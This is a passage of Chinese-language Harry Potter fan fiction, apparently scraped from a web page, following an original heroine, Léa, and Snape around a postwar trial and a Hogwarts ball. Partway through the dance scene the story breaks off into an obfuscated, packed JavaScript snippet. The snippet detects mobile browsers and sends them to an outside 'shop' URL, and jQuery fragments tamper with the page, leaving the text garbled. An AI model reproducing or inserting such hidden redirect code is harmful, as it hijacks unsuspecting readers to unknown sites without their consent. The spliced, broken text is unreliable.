“到时候见。”蕾雅说着别过脸,对底下的父亲挥了挥手,“爸爸,我先走了。” 雷格纳从与同僚的对话中抬起头,顺手挥动魔杖,将脚边的一个纸袋送到蕾雅的手侧,“去吧宝贝,这是妈妈给你准备的。” 蕾雅还没来得及看是什么东西,赫敏便敏捷地伸手接过纸袋,“我帮你拿着,等会在壁炉那里见?” “谢谢,等下见。”蕾雅明白赫敏的意图,转身快跑出审判室。 幸好,已经成了魔法部的大热人物的斯内普,现在是难以脱身。蕾雅很快就找到了被几个巫师堵在路口的黑袍身影,她对着这一幕轻笑起来,心想着斯内普一定很希望能够立刻幻影移形离开这里。 她等待着一个头上几乎没有任何毛发的男巫恭敬亲切地握完斯内普的手,良久后十分不情愿地离开以后,不紧不慢地向斯内普走过去。 黑发男巫揉了揉太阳穴,在原地不耐烦地啧了一声,刚一偏头便注意到朝这边走来的小身影。他并不感到惊讶,只是面无表情地用那黑曜石般毫无波动的瞳仁凝视她,低声说道:“你也是来问斯内普校长关于霍格沃茨未来的打算吗?” 蕾雅愣了愣,向他走近,绿眸慌乱地看过他身后那些还想上前与他握手的巫师,又晃到他头顶上泛着黑绿色暗光的墙砖,最后停留在他同样一团乌青的疲倦眼底。 她的心脏猛地一紧,有些不忍地开口道:“呃……我是来找西弗勒斯·斯内普本人的。我想让他不受打扰地离开魔法部,好回去休息。” 斯内普挑起眉毛,被她话里的意思打动了一瞬。他随即迈开步,似乎是想要躲避那种由她身上侵袭过来的、令他感到困扰的温暖。 两个人并肩走去魔法壁炉的方向,也因为这样,旁边那些原本想围上来的巫师们也暂时无法靠近。四周的人声依旧,却突然好像都在这片刻里消散开,被隔离在很远的地方。斯内普任由她陪着,在这片模糊不堪的世界里往前走,没有打算要开口。 蕾雅终于按捺不住,小心翼翼地看向他紧绷的下颚线:“您看起来比之前还要糟糕,有好好休息吗?” “莱恩哈特,我无需——”斯内普本来想冷硬地回绝,但话到嘴边却怎么也说不出口。他别扭地调整了一下语气,“不用你担心。” 他果然还是在推开她。 不对,倒不如说,这种如此明显的疏远正在证明他的感情远比她想象的多。而斯内普显然无法接受这个事实,也没有做好准备去接受她。 毕竟,她也明白,战时极端环境里显露的情感一旦回到现实中,以斯内普的性格,他很可能重新衡量过,也得出了理智的结论。 蕾雅冷静下来,低头打量着魔法部漆黑的地砖,感觉好像看到了他同样的黑色眼眸。她没有退缩,依然坚定地说道:“如果可以的话,请允许我帮助您。” 他们穿出过拥挤的走廊,宽敞的大厅里全是熙熙攘攘的人,吵得跟个菜市场一样,斯内普和蕾雅就这样浸没在人潮里面,不时有匆匆路过的巫师以摘下帽子的方式对斯内普致敬。 斯内普用眼神回应了几次,直到最后也没有再看身边人,错开的视线落到不远处魔法壁炉前的波特三人,显然是在等她一起回去。他平淡地说道: “不用。而且让我提醒你,NEWTs考试很快就来了,把你多余的精力放到那上面去。” 很奇怪,她感觉斯内普似乎在努力表现得更加冷漠,他的表情也刻意装出一副宛如之前的一切不过是海市蜃楼般的平静。但是,她却完全不觉得眼前的他和那个曾经对她恶语相向的斯内普一样。当然,也不是那个在尖叫棚屋里毫不掩饰关心的斯内普就是了。 蕾雅还想再说点什么,但她最终把所有的冲动都压抑住。她很清楚他还需要些时间,而这个他忙得焦头烂额的时候,绝对不是什么好的时机。其实也无所谓,反正她还可以爱着他,暂时以学生的身份,她暗暗安慰自己。 她用很轻的幅度在这种空虚感里点点下颚,“好吧。那……哈利他们还在等我。”好像是什么害怕惹怒他的小动物一样,声音也越来越低,直至听不见:“回见校长,请您回去后记得要休息一下,还有晚会呢。”说完,她快步走向魔法壁炉。 哈利和罗恩疑惑地看看蕾雅,又看看斯内普。特别是哈利,他完全不能理解为什么蕾雅脸上的神情这么伤心。 赫敏倒是洞察了这边的一切,她面露担忧地瞥向斯内普,而后伸出手搂住蕾雅,抚着那垂在背后的平直黑发,说道:“走吧蕾雅,我们去买今晚的东西。” 斯内普矗立在这边一阵,像块板砖般看着她单薄的背影和其他三个人消失在魔法壁炉的绿色烟雾中。 那团烟雾的余烬久久停留在他的视网膜上,幻化成她最后失落的模样,和她为他作证时铺满的坚定,以及她对珀西·韦斯莱绽开的笑容重叠在一起。绿色的粉尘蓦地散开,灰蒙大片洒落在心室里,让他产生了一种复杂的感觉,好像是回到雨天过后潮湿的蜘蛛尾巷,说不上来到底感受到的是烦躁的阴霾还是别的什么。 然而,他已无力深究,只觉得该趁再次被人围上之前,快点离开这里。 62.晚会 已经临近黄昏时分了,斜阳透过锃亮的玻璃幕墙灌进商场里。三个人踩着这些稀碎华美的暖橘色,却没有任何的闲暇去欣赏,因为他们正面面相觑地跟在赫敏身后。而这位褐发姑娘已带着他们在这个宛若巨型迷宫的麻瓜商场里转了三圈。 “罗恩……你刚刚惹她生气了?”蕾雅终于忍不住了,对旁边拎着一大堆购物袋的罗恩发出提问。她不由得想起有一次母亲生气时,也是这样拎着她和雷格纳在商场里走了半天。 “我没有啊!”罗恩慌张地回忆着,鼻子正因各种香水化妆品的刺激而不停地皱动,显得更加狼狈。他连忙转向哈利,问:“伙计,是不是你刚刚惹她生气了?” “你们没看出来?”哈利笑了笑,扶住手中那几只袋子,“这里是两人份的东西。” “什么意思?——”蕾雅还没反应过来,走在前面的赫敏突然转过身,一把将她拉了过去,“啊——赫敏?!等等——怎么啦!” “你快来,看看这个合不合适?”赫敏飞快地说着,完全不管后面的两人,揽住蕾雅就进了一家珠宝店。 “啥情况?”罗恩看着两人的背影,整个人都茫然着。他扭过头,瞪大眼睛看向哈利,等待一个解释。 “不急着解释。”哈利忍不住笑得更加意味深长,翠绿的眼睛里流出几分调侃,“不过,要是蕾雅也像赫敏这样有行动力,事情就不至于——” “不至于什么?”罗恩提着手里的购物袋晃了晃,显得更加无措,“能说人话吗?我怎么一点没听懂?” “没事,今晚你就知道了。” 回到格兰芬多公共休息室,赫敏立刻让哈利和罗恩将所有的购物战利品塞进了她们的寝室,叮嘱着让他俩把拉文德找回来,随后她就关上了寝室的房门。 蕾雅还困惑着,赫敏已经挥着魔杖将昨夜她学得乱七八糟的NEWTs笔记和课本都收到了一边,按着她坐在椅子上。 “赫敏?”蕾雅完全没有反应过来赫敏到底在做什么,一头雾水地问:“到底怎么啦?” “我的大小姐,战争结束都一个月了!”赫敏温和的语气里却夹杂着急切,“你怎么回事啊?你跟他现在看起来比战争前还要疏远,你真的不打算主动点吗?” 蕾雅眼睛睁得大大的,这才后知后觉地反应过来赫敏指的是什么,也明白过来赫敏为什么买了那么多东西。她呢喃道:“呃……不、不是你想的那样。” “别犹豫了,今晚就是个好机会。”褐发女孩用魔杖指挥着,把刚刚买好的东西都统统打开,并列排在一侧的床上,“今天,你就听我的。” “可是……”蕾雅看赫敏从雷格纳在魔法部递过来的纸袋里拿出一条过分华丽的晚礼服。一看就是她妈妈特意挑选的。深红色的底裙缀满细钻,被白色的轻纱笼罩着,这既符合了今晚大家根据学院来选择礼服颜色的主题,又别有新意。 “别可是了。”赫敏轻叹一声,打断她的踌躇。赫敏用衣架将长裙挂好,眼里绽出对蕾雅妈妈挑选裙子的赞叹,但嘴上依旧不留情:“今晚有很多毕业生出席,而他现在可是魔法界的焦点,你就不怕哪个漂亮的女人把他抢走?” “嗯……”蕾雅被她的话说得愣了愣,眼里的光随着亮起的魔法烛火跃动,小声答道:“如果他真的能找到幸福,我也会为他高兴的。”是啊,她的愿望真的很简单,只要看到他幸福就好,不管跟谁。 赫敏倏地回过身,伸出手捏了捏她精致的鼻尖,让眼前人不满地哼了一声,“诶,你能不能像个格兰芬多一点?” “唔……可他是个斯莱特林啊……” “好啦,别纠结这些了!”赫敏猛地摇头,手已经毫不客气地开始动作,迅速解开蕾雅的校袍领口,“总之,今晚你就听我说的做,好吗?相信我。” 这时,寝室的门被推开,拉文德探进半个脑袋,好奇地问道:“回来了?哈利说你们在找我?” “对,快进来,把门关上。”赫敏对拉文德招手,“今晚蕾雅大小姐的恋爱能否成功,就看我们了。” “什么?!”拉文德惊呼一声,激动地带上门走到两人身边,双眼闪闪发亮,“蕾雅要恋爱了?对象是谁?什么计划?” “某个毕业生。”赫敏随口应付着,递给拉文德化妆工具,“我知道你最擅长这个了。” “当然。”拉文德接过工具,立刻露出了一副了然的神情,“交给我。” 蕾雅被两人的互动弄得十分无奈,红着的脸就没褪下过颜色。她小声抗议道:“你俩什么时候变得这么好了?真的有必要这样吗?!” “当然有!”两个室友异口同声,随即相视而笑,一个在给蕾雅编头发,一个已经忙着打开化妆工具包。 蕾雅最终放弃挣扎,嘀咕着看向桌上的小钟:“那你们要快点哦……弗立维教授叫我提早点去来着。” “你怎么不早点说?!”正忙着把一条嵌满细钻的发带编紧的赫敏,在手忙脚乱里不满地说道。 “蕾雅别动!画歪了!”拉文德呵斥一声,用手掰正她的脑袋。 蕾雅叹了口气,干脆拿起抽屉里的乐谱开始默背练习,决定随她俩闹去吧。 …… 睡过头了。 斯内普从办公桌上醒来的时候迅速看了一眼时钟,发现现在大概已经错过了晚会的开场致辞。 他不悦地坐直身体,一边甩着压麻的胳膊,一边抬起另一只手按住作痛的太阳穴。他的眼睛懒懒地掠过被整齐放置在办公桌上的一叠文件,上面布满了潦草的笔迹,是邓布利多的字,都已经写完了。 看来,邓布利多还算有守信精神。那既然完成了文件也没有叫醒自己的话,大概是良心未泯,决定让他多睡一会。斯内普刚这么想着,就看见压在文件上的便签——“醒了就赶紧过来,听说好几个著名家族都会来参加。” 斯内普低叹一声,走进卧室洗了个脸,拿起毛巾擦干水渍后,随手拢了拢半长的黑发。他盯着镜子里的男人犹豫片刻,决定还是不更换衣服,就这样穿着平日的黑袍前往礼堂。 还没走近礼堂,他已经清晰地听见了邓布利多以魔法扩大的声音,是那样的洪亮而有力穿透霍格沃茨的夜空:“正如我说,黑暗之后,黎明一定会到来。让我们举杯——敬所有人!” 礼堂里的氛围愈来愈高涨,他听见玻璃杯碰撞发出的清脆声响,听见霍格沃茨乐队的小提琴声悠扬地响起,仿佛能看到弗立维教授激动指挥的模样。紧接着,是一阵玲珑错落的钢琴声音,如同跌落盘中的珍珠般别致动听,被夜风吹在粼粼波光的黑湖上。 是她的琴声,也是他之前听过的歌曲。 《Until the Last Moment》。 斯内普在钢琴旋律中停住了脚步,伫立在礼堂外的走廊中,抬头仰望着窗外漫天广袤的星野。在一片觥筹交错的声音里,点点微光掉了下来,顺着他随风摇动的黑袍抖落了下去,让他一瞬间恍惚地觉得面前一切都如此陌生,自己如同是异乡的过客。 片刻后,斯内普心里第一百次建设好即将面对人潮的心理准备,沿着漆黑而空旷的长廊向礼堂走去,轻轻地推开侧门。 晚会对他来说是真的另一个世界。今晚的负责人弗立维和斯拉格霍恩教授显然是下了一番功夫。几乎不用猜测,便能看得出他们想要表达的“明日之星”主题。 整个空间被布置得仿若无垠的宇宙。四周的墙壁上落满了比刚才在长廊里看到过的,更为绚烂的星光。天花板变成一望无际的深邃夜空,无数的星星点缀其间,不时有漂浮着的大颗恒星,散发着或金或银的光晕。地板上也同样铺满了繁星,正随着人群的动作缓缓旋转,比真正的星河还要锦绣壮丽。 星星之下,几道轻盈垂下的银白帷幕上赫然绣着四个学院的院徽,被高低错落的魔法蜡烛映出淡雅的轮廓。火苗带着柔和的淡金色暖光,也宛如坚定不移的星宿一样,随着她指间流淌出的音符跳动,时而漂浮在舞池的上方,洒下一缕缕轻盈的光芒,为周围增添一瞬的惊艳。 偶尔也有流浪的彗星一闪而过,从礼堂的一端划向另一端,引得底下擦着眼泪的低年级孩子们发出阵阵惊呼,而后即刻虔诚地许愿。 开场的舞会已经开始了。舞池里的学生们身着代表各自学院颜色的礼服,女生们旋转的裙摆融于烛火与星光中,就像是银河里本该长住的星辰般。 礼堂里此时还挤满了各行各业的毕业生,除了仍因魔法部的重建而忙碌着的那些人以外的几乎都来了。斯内普不仅见到早上出席过审判会的那些人,甚至还注意到好几位荣誉毕业生也在场,比如纽特·斯卡曼德,也带着妻儿出席了晚会,正被斯普劳特教授和几个赫奇帕奇的学生围着。而斯莱特林的绿色也并非完全缺席,至少比他想象中更多。正如邓布利多所言,在马尔福家的牵头下,许多原本保持中立的斯莱特林家族也到场了。 斯内普无心立刻就工作,于是目光散漫地打量着场中的情况。他掠过中间的这些热闹,望向远处。只见弗立维教授舞台一侧的高台上,卖力而陶醉地指挥着乐队,而他的身侧,靠着墙的一架水晶钢琴被大片盛开的满天星与银白玫瑰簇拥着—— 就这样,他看见了那正在演奏的身影。她身着白纱与深红交织的礼裙,大抹格兰芬多红色的裙摆上覆盖着层层镶嵌银丝的轻纱,随着她的动作微微摆动,看起来非常朦胧幻美。礼服的上半身是以银线勾出的星图刺绣,一字肩的设计将她的优雅与修长展露无遗,领口延伸出的细带掠过白皙的锁骨缠绕在颈项上,在后面系成一个柔和的蝴蝶结。她的长发被简单挽起,又略有心思地用一根发带编织,钻石被烛火映出的光淬开来,融化成了星汉。 几缕发丝垂在她柔白的后颈,他的视线就彷徨地坠落在那里,几乎无法移开。 他怔愣一瞬,脑海中忽然浮现出那晚在莱恩哈特家,她侧倚着他膝盖睡着时毫无防备的模样。 一曲终了,她恭敬地站起身,在热烈的掌声里鞠躬。她刚要转身走下台,忽而有一位穿着暗灰色西装的青年被人群推了出来,红着脸大步走向她的台前。那一头的红发与她垂在地上的裙摆相映,正正都是格兰芬多的火红。 就像是童话里的故事一般,青年在韦斯莱双子带头的起哄声中僵硬地伸出手,满脸诚恳地注视着她,想要邀请她共舞一曲。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13989279|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她捂住嘴,错愕一会,最终在身后好友们的怂恿下点头答应。 她看起来十分紧张,踌躇着将手搭在青年的臂上,青年温暖地笑了,颇有绅士风度地扶着她走下了台阶。他们步入舞池,周围喧哗的人们纷纷让开一条路,好让他们走到舞池中央。 弗立维教授的脸上已然满是欣喜,一双小手抖动着指挥乐队演奏出浪漫的舞曲。青年的手紧握住她的,随后忐忑地搂在她的腰间,一双深眸直直地紧盯她。他们跟随着音乐,配合着舞步,她裙摆的白纱随着旋转舒展开,裙上镶满的碎钻在粲然动人的烛光下闪烁着,与地板上四散的星芒相互辉映,宛如破晓时分被第一抹日光映射的星河。 人群更加沸腾起来,她的存在似乎令一切都黯然失色了。 格兰杰、布朗和韦斯莱家的女孩在兴奋地点头,而隆巴顿、波特和韦斯莱家的小儿子则站成一排,惊讶地张大了嘴,从来不知道同班同学竟然是如此美丽。不过几人很快就相视一笑,也都迅速加入到热闹的舞蹈行列里。 青年显然也为眼前动容,不时低声靠在她耳边说着什么,几抹绯红旋即染上她的面颊,一路蔓延至她的耳后,红得正如她耳垂上别着的朱红绣球花耳环——他可认得,那是曾躺在他床头柜上的那一枚,大抵是被她用魔法改变了颜色以搭配礼服。 他真想不再看他们的,但他刚要别过头就见到青年红着脸将她拉得更近,她明显也感到不好意思,低垂着眼眸不再看青年,只是仍保持着温柔有礼的表情。被略施的粉黛勾勒出精致的脸庞上,睫毛不经意翕动,扑朔着宛若一片被风抚过的轻羽,同时掉入他和那个红发青年的眼中。 他明白了,她已然不再是他心头独属的和煦熹微。 不知道什么时候,她已成长至这万物漩涡的中心,璀璨如赤日,明艳瑰丽,耀眼至极。 他们看起来是如此般配。是的,她确实值得更好的,她应得世间所有的美好。 所以,又何苦非为一颗千疮百孔、行将就木的白矮星绊住脚步? “怎么了,西弗勒斯?吃坏肚子了?你脸色看起来很差。” 邓布利多不知何时悄然靠近,心情愉悦地递给斯内普一杯香槟。 斯内普猛地抽回思绪,怒目逼向邓布利多的须臾又兀自撇开,随后把脸藏在低垂的黑发里。他僵硬地接过香槟,并没有任何要开口的打算,然而他心知肚明,老巫师早已将一切看在眼里。 邓布利多在心底笑了笑,立刻就知道眼前人这下确实伤得不轻,不然以他平日的性格不会如此一言不发。不过——这也许并非坏事,毕竟,人总需要一些刺激,才能学会及时珍惜,不是吗? 老巫师微笑着沉默一阵,故意般拨了拨胡子上的金色铃铛,将上面的蝴蝶结摆正,说道:“哦,我猜你也知道,霍格沃茨可没有早恋禁令。看呐,舞池里到处都是成双成对的,年轻真好啊——噢,我好像看见哈利亲了金妮。” 斯内普捏着香槟杯,缓过神来的同时也推开了所有情绪。他漠然地盯着前方,说道:“总算找到波特学不好的原因了。说真的,我倒不介意明天就颁布一个,好让他们安心准备考试,而不是成天想着这些无用的情感戏码。” 麦格察觉两人的动静,也靠了过来,以怀疑的神色顺着他们的眼神看过去:“你们俩又在秘密策划什么呢?” “没什么要紧的,米勒娃。”邓布利多笑得愈发和蔼,摆了摆手轻快地说道:“我们只是在聊如今这些年轻人的感情生活,发展速度可真叫人意外。转眼间啊,优秀又单身的女孩子就不剩多少了,对吧?” “你们是在说蕾雅吧?”麦格捕捉到邓布利多话语中的暗指,赞同地把话接了下去:“我看这孩子今晚确实是会够忙的。我一路走来,就看到好几个原来是邓布利多军的男生目不转睛地盯着她,分明在等着珀西离开,好上前邀请她跳舞。还有那些毕业生呢,我想他们也不会错过这个与美人共舞的好机会。” “毕业生?”邓布利多眯起眼睛,稍微往前面拥挤的人海里探了探,“哦,我看到了——原来是奥利弗·伍德啊!那孩子不是一向只关心魁地奇的吗?”说完,他若有暗示般瞥了一眼身旁静默得如同一块木的斯内普,嘴角仍然挂着轻微的笑意。老巫师清了清嗓子,向麦格伸出手,面带微笑地邀请道:“看来我们也该好好庆祝庆祝?募捐的事,我想就放心地交给西弗勒斯吧。” 话毕,两个人随着乐声滑入了舞池。 斯内普黑着脸,再也没有去关注舞池中央的那抹红色。他漫不经心地看了一会儿斯拉格霍恩在舞池边上被几个毕业生围绕的滑稽舞姿,还有一旁的布莱克,正与一个他觉得眼熟的女子共舞,没有唐克斯陪伴的卢平则有些落寞地坐在一边看着。斯内普眯了眯眼睛,然后将手里的香槟喝得干净。 正准备前去拿一杯新的饮品时,他的余光捕捉到边上的马尔福和格林格拉斯家族不断投过来的注视。他扯扯嘴角,勉强换上最近在魔法部频繁使用的得体笑容,重新拿起了一杯红酒,朝他们走去。 既然那些不该有的情绪无法摆脱,倒不如沉浸在工作里,至少可以让他暂时忘记那些纠缠在心头的烦恼。 63.我会等你 “卢修斯,卡斯帕尔。”斯内普扬了扬下巴,脸上笑容有礼地举了举手里的酒杯,“很高兴在这里看到你们。” 他眼睛一斜,注意到纳西莎身后站着的德拉科·马尔福阴沉的脸色,估计是仍然对自己隐藏的立场和杀死邓布利多的机会感到不满。 就在这时,纳西莎轻轻碰了碰德拉科的手臂,侧脸小声说道:“德拉科,去邀请阿斯托利亚小姐跳支舞吧。” 德拉科皱了皱眉,显得十分不情愿:“母亲,必须现在吗?” “是的,亲爱的。”纳西莎柔声说,语气虽然温和却是不容置疑,“你得学会主动一些,这是马尔福家族展示风度的机会。” 卡斯帕尔·格林格拉斯适时地转身,向站在远处的小女儿招了招手,和蔼地对德拉科笑着说:“也好,阿斯托利亚应该是无聊挺久了。毕竟达芙妮铁了心不想来。麻烦你了,德拉科。” “没问题,格林格拉斯先生。”德拉科看了一眼父母,顺从地点点头,勉强地离去。 目送着两个年轻人一同走进舞池后,卢修斯才转过身,手指轻巧地握住酒杯,与斯内普手里的相碰,“看看,我们的校长大人把这一切都安排得如此井井有条。”他一头淡金发在灯光下泛出光泽,神情亦过于礼貌,全然不再是在食死徒饭桌上的那种瑟缩:“但你似乎不太享受今晚的舞会啊。虽然我知道这种场合对于你而言一直不算愉悦。” “说笑了,卢修斯。”斯内普从德拉科身上收回注意力,抿了一口红酒,语气平直,“不过是有些疲劳,刚才眯了一会儿,结果还迟到了。” “想起来了,早上的审判会。”卢修斯淡淡地笑了笑,“想必金斯莱让你写了一份非常详细的报告吧?” “现在斯内普校长可是我们魔法界的大名人了。”卡斯帕尔露出一个恭敬得看不出任何破绽的笑容,伸出手来拍了拍斯内普的手侧,说道:“不仅凤凰社那些人站出来为你辩护,就连神秘事务司的新任副司长也为你作证。这可真叫我惊讶了,毕竟我听说那位先生在神秘司深耕多年,为人低调,一直都是不站队的。” “我与他在魔法部见过几次。”卢修斯意味深长地抿住嘴角,眉毛一挑,眼中闪过些许讽刺,“确实谦虚有能。可在我看来,有点过于谨小慎微了。也许正因为他终于选了个立场,才有了这次升职的机会。” 他的话语刚落,站在一旁的纳西莎便用手搭在他的胳膊上,仿佛在暗示他不要再多嘴。她稍稍舒展面部,转而将目光投向舞池里的人儿,试探性地问斯内普:“听早上的审判会提到,副司长的女儿也一直在和你合作。是这样吗,西弗勒斯?我记得她名字叫做蕾雅,也是个挺有能力的孩子吧?” “就是现在在跟那个韦斯莱跳舞的女孩?”卡斯帕尔颇有兴致地接过话。 “不错,是她,蕾雅·莱恩哈特。正如你们所见,今夜除了救世主以外的格兰芬多之星。”斯内普毫不在意地说着,稍稍垂下眼睑,“不过都是些机缘巧合。” 他其实并不想与这些人过多谈论任何除了公事以外的事情,因为他心里知道,马尔福一家仍对他的卧底身份心存芥蒂。如果可以,他也根本不愿过多地再与这些边缘家族有任何的接触——可偏偏,奈何魔法界大部分的资产一直掌握在这些人的手里。而这些家族在战后也急需快速摆脱受到的负面影响,所以迫不及待以钱财来洗刷污名。相比起邓布利多,他们会理所当然地更倾向于与斯内普这样灰色的人物打交道。 他沉住气,决定将谈话掰回正轨:“说到底,我们都是履行我们应尽的职责罢了。为了魔法界的未来。” 听见这番话,卢修斯立刻在心里划开一个冷笑,他可从来没觉得斯内普还会关心什么魔法界的未来。但心里话归心里话,他表面上依然维持着一贯名门望族的优雅,继而附和般说:“当然,我也认为当下之急正是霍格沃茨的复兴,而这也是魔法界重建秩序的重要一步。” “不错,”卡斯帕尔也跟着点头,“卢修斯和我已经讨论过了,格林格拉斯家族也将会为重建捐赠。霍格沃茨是巫师世界的基石,而战后的重建显然需要我们共同努力。” 斯内普扯出一个尚带几分温度的假笑,说:“霍格沃茨的重建确实需要各方的支持,你们的慷慨会对学校的未来有所帮助。” 他再次举起酒杯,与两位族长碰杯,心中暗想今天的任务看来比预想中要容易完成得多。因为干杯声还没来得及落下,他已经望见又有几个家族的族长朝这边走来。 “斯内普校长!好久不见啊!” …… 舞曲最后的小提琴部分渐渐弱下来的时候,蕾雅仍在慌乱地稳住舞步。她的新鞋有些磨脚,而不宁的心绪也不时飘向伫立在教师席不远处的黑发男巫,这让她跳得很是烦躁。 她是跳到一半的时候才发现斯内普在场的,心里猜想着他大概是有什么要紧的急事而耽搁了时间,又担心他会不会因为自己跟别人跳舞而生气。 “怎么了,蕾雅?”珀西很快就感觉到她的异常,轻声问道,“是不是累了?我们去旁边休息一下?” “嗯……”蕾雅收回视线,略一点头,小声说着:“我想是有点累了。” “好。”珀西彬彬有礼地领着她走下舞池,牵着她走到一个稍微被繁盛花丛掩盖住的位置坐下。他俯下身,关切地问:“你要喝点什么吗?香槟?” “香槟就可以,谢谢。”蕾雅点点头,回他一个轻笑。 珀西很快端来两只细长的香槟杯和一小盘精致的点心,随后在她的身侧坐下。一向观察细致的蕾雅也洞悉到珀西的体贴,因为她刚刚发现场上总是不时有往这边看的人。 赫敏!拉文德!打扮得太过分了! 她尴尬地将两缕垂在鬓前的碎发挽回耳后,在心里暗自骂到。这下还没接近斯内普呢,她怕不是会因为跳舞过多走不了路了。而且,梅林啊,她真的不喜欢高跟鞋。 几个始作俑者在场上跳得倒是开心呢,不仅如此,救世主的光环是一如既往的夺目。蕾雅笑看哈利频频被打断的舞步,他一直在与不同的人握手致意。 不过,这种战后的光景,也算是欣欣向荣,充满活力。 “蕾雅,你毕业后打算做什么呢?”珀西的搭话将她扯回现实。他略显拘谨地递给她香槟,将餐盘整整齐齐地搁在两人中间的小桌上。 “还没想好呢。”蕾雅浅浅地抿一口香槟,感受着清冽的酒液渐渐滑入喉咙,然后掂起一小块夹心饼干放入口中。 珀西端起半满香槟的酒杯晃了晃,轻轻与她的碰了一下,“有没有想过来魔法部?我觉得你还挺适合当一名傲罗的。” “傲罗?”蕾雅挑起眉毛,讶异地问。这可是她完全没想过的方向。 “是啊,纽特先生的妻子和哥哥原来都是首席傲罗,我还听说哈利也打算成为一名傲罗。”珀西的脸上是那种一如既往的认真表情,他指了指远处的纽特·斯卡曼德,继续说道:“我听说了你在战时的事。那样的勇气和决心,正是现在傲罗办公室需要的。而且,莱恩哈特先生也在魔法部,不正合适吗?” 她呆呆地望向纽特和蒂娜的笑颜,歪着脑袋思索着,又喝了一小口香槟,然后拿起切成小块的奶酪,压在舌上等奶香化开,嘟哝着:“嗯……不过爸爸是爸爸啦,而且爸爸也不是傲罗。” “那也倒是,这样说来,神秘司也许也是个不错的选择啊,我听说你的黑魔法防御术成绩很好。”珀西顺着她的话接下去,眼神在她的脸上停留片刻,又迅速移开,犹豫着寻找合适的话题,“我在想,要不……你有时间的话,可以来魔法部参观——” “呀——嗬!”两个个熟悉的嗓音突然从身侧传来,打断了珀西的话。弗雷德和乔治·韦斯莱捧着大盘的蛋糕,猛然挤进他们的视野中。 “我们的亲爱的哥哥珀西,居然在这里做推销员了!”弗雷德夸张地用肩膀撞了一下乔治,两个人齐声说道:“要不要考虑加入我们魔法部呢?” “说实话,珀西,你得承认,傲罗办公室可不一定能比得上我们韦斯莱魔法把戏坊有趣。”乔治补充着看向蕾雅,对她牵了一个充满捉弄意味的大笑容。他迅速将一块蛋糕递给蕾雅,笑着说:“要不还是试试我们推销的奶油蛋糕?纯手工无添加哦!” 蕾雅被逗得笑得灿烂,她接过来小小咬了一口,赞叹地竖起拇指,说道:“好吃。” 珀西的脸倒是倏地就红了,他微微皱起眉头,清了清嗓子说:“弗雷德,乔治,我只是觉得这对蕾雅有帮助。如果你们能稍微收敛一些……这是很认真的对话。” “认真的对话?”弗雷德挑起一边眉毛,看了看乔治,然后两人异口同声地说道:“我们也在很认真地听呢。也在很认真地建议蕾雅小姐考虑我们呢!” 蕾雅忍不住捂着嘴咽下蛋糕,之后笑出了声,刚刚跟珀西相处的谨慎也随之变成轻松愉快。她没好气地望着韦斯莱双胞胎的调皮模样,用指背抹了抹鼻尖,轻快地问:“所以,你们觉得我更适合去韦斯莱魔法把戏坊?” “当然!”弗雷德大笑,带着自豪地说道:“至少在我们那里你可以避开魔法部的老古董,还能收获快乐!”说到这里,他用眼神暗示性地瞟了珀西一眼。 乔治则挤眉弄眼地凑近蕾雅,故作神秘地说道:“不过说真的,蕾雅,你和珀西在这儿喝香槟,看起来倒像是另一种推销——对吧,弗雷德?” 弗雷德一脸恍然大悟的惊讶表情,笑得更愉快,蓝色的眼眸满是调侃:“对对,珀西在这里推销的不是魔法部,而是他自己,对不对,老哥?” 珀西的脸红得好像一个熟透的番茄,他忍不住抬手扶了扶眼镜,用一种不耐烦但略带无奈的语调说道:“别胡闹,弗雷德,乔治。你们真是……” 蕾雅笑着抬起头,突然就撞上了礼堂另一侧的目光。 是那个熟悉的黑色身影,他正在与别人谈话,但如冰的视线却隔着一整个热闹熙攘的礼堂,落到他们这侧。又或者说,她身上。 总之,这一瞬间,她整个人都凛然一颤,身边的温度好像也因此而冷了几分,宛如被扔进了十二月寒冬的树林里。 不久之后,她望见斯内普回过头,微笑着与几个家主挥手告别,大步往礼堂门口走去。 他转身的一瞬,蕾雅就清楚地看到他即刻敛住的表情,而后是满脸的倦容。 ——要不要去追呢?他这是要回去了吗? 黑袍最后消失在门外的景象残留在蕾雅的视网膜里,她仅仅在心里斟酌了几秒,就下定决心——既然赫敏和拉文德都花心思为她准备了一晚上,还是尊重一下她们的劳动成果吧。就算只是简单地跟他说上几句话。 “好啦,你们就别再捉弄珀西了。”蕾雅站起身,拍了拍双胞胎的肩膀,又对珀西说:“不好意思,我出去一下。” “好吧好吧。”乔治和弗雷德对视了一眼,然后同时耸了耸肩,“我们会帮你看好他的。” “好。”珀西答道,虽然有些不解,但还是露出一个礼貌的笑。 “如果我很久都没回来,不要等我,你们尽情玩吧。”蕾雅说着,将手里的香槟一饮而尽,不顾三个人疑问的眼色,转身跟着斯内普离开的方向小跑出礼堂。 厚重的大门在她身后关上,礼堂内的喧嚣瞬间被隔绝了,周围的世界顿时变得安静下来。 从高窗眺望出去,黑湖的边上隐约可以看到几对依偎在一起的情侣们,除此之外,这夜里只有一片的寂寥。别说人影,长廊上连一点动静都没有。 她爬上台阶,六月仍透着清冷的月光透过拱券掉进来,碎在刚刚被重建好的地板上。大理石柱也被修复得一点痕迹都没有,她漫不经心地数着柱子往前,心里期待在下一个拐角就能看见他。 可是她沿着礼堂的四周都找了一遍,哪里都没有他的踪迹。 当然了,霍格沃茨是这么大的地方,要藏一个人可太容易了。他也许真的已经回到校长室,可若是这样,本就躲着她的他又怎么会愿意见她呢? 想到这里,沮丧如同疯长的水草一样撩拨着心底。她拖着裙摆穿过庭院的石板路,边走边想着关于他的一切,才猛地发现脚被硌得发疼。 她赌气般再一次一头扎进塔楼里面,刚刚踩上大理石楼梯,就远远地望到他在最高的一层,正要拐入通向奖杯室的长廊。 “啊——”蕾雅慌忙往上跑去,眼睛紧紧追随着他的背影,“等等!——” 她的话还没来得及传达出去,大理石楼梯轰隆一声转换了方向。她眼睁睁地看着斯内普消失在楼顶的拐角,而自己则被送到了独眼女巫密道的雕像前。 他变得遥不可及了。 